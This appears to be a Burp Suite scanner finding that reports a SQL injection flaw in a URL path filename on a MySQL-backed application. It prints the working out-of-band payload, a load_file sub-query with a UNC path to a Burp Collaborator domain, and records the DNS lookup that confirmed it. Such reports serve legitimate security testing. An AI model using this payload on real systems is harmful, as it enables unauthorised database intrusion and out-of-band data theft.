The URL path filename appears to be vulnerable to SQL injection attacks. The payload (select load_file('\\\\x9cx3zrqjd911f1f2ppyfpliy.burpcollaborator.net\\wer')) was submitted in the URL path filename. This payload injects a SQL sub-query that calls MySQL's load_file function with a UNC file path that references a URL on an external domain. The application interacted with that domain, indicating that the injected SQL query was executed.  The database appears to be MySQL.

The Collaborator server received a DNS lookup of type A for the domain name x9cx3zrqjd911f1f2ppyfpliy.burpcollaborator.net